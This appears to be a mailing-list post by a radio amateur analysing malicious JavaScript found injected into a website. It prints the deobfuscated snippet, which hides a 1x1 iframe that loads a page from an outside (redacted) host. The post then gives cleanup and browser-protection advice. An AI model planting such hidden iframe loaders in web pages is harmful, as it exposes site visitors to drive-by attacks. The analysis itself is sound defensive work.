There's a bit of JavaScript code embedded on that site that most certainly does not belong there.
It contains an array of scrambled JavaScript code which is then translated into some more JavaScript which, when executed, embeds an iframe into the site. This iframe, most likely on another hacked website, probably contained something malicious, but it doesn't seem to exist anymore (Error 404). Probably the owner of that other website (with an Italian domain name, probably completely unrelated to WA2ISE) has noticed the breach and cleaned up his server.
(function () {
var fe = document.createElement('iframe');
fe.src = 'http://EDITED.it.invalid/esd.php';
fe.style.position = 'absolute';
fe.style.border = '0';
fe.style.height = '1px';
fe.style.width = '1px';
fe.style.left = '1px';
fe.style.top = '1px';
if (!document.getElementById('fe')) {
document.write('<div id=\'fe\'></div>');
document.getElementById('fe').appendChild(fe);
}
})();
Bottom line: There's still some JavaScript on that website which doesn't belong there. but it isn't harmful. However the owner of the website should remove it, try to find out how it got there, and at the very least change his access password etc. to make further breakins of this kind less likely to happen.
To protect oneself from problems by such malicious code from random websites, I highly recommend to switch off JavaScript in the browser off by default. For Firefox there's a great plugin called NoScript (
http://www.noscript.net/) which allows very fine grained script settings to be made for each website. There are similar things for other browsers too.
73
Fabian, DJ1YFK
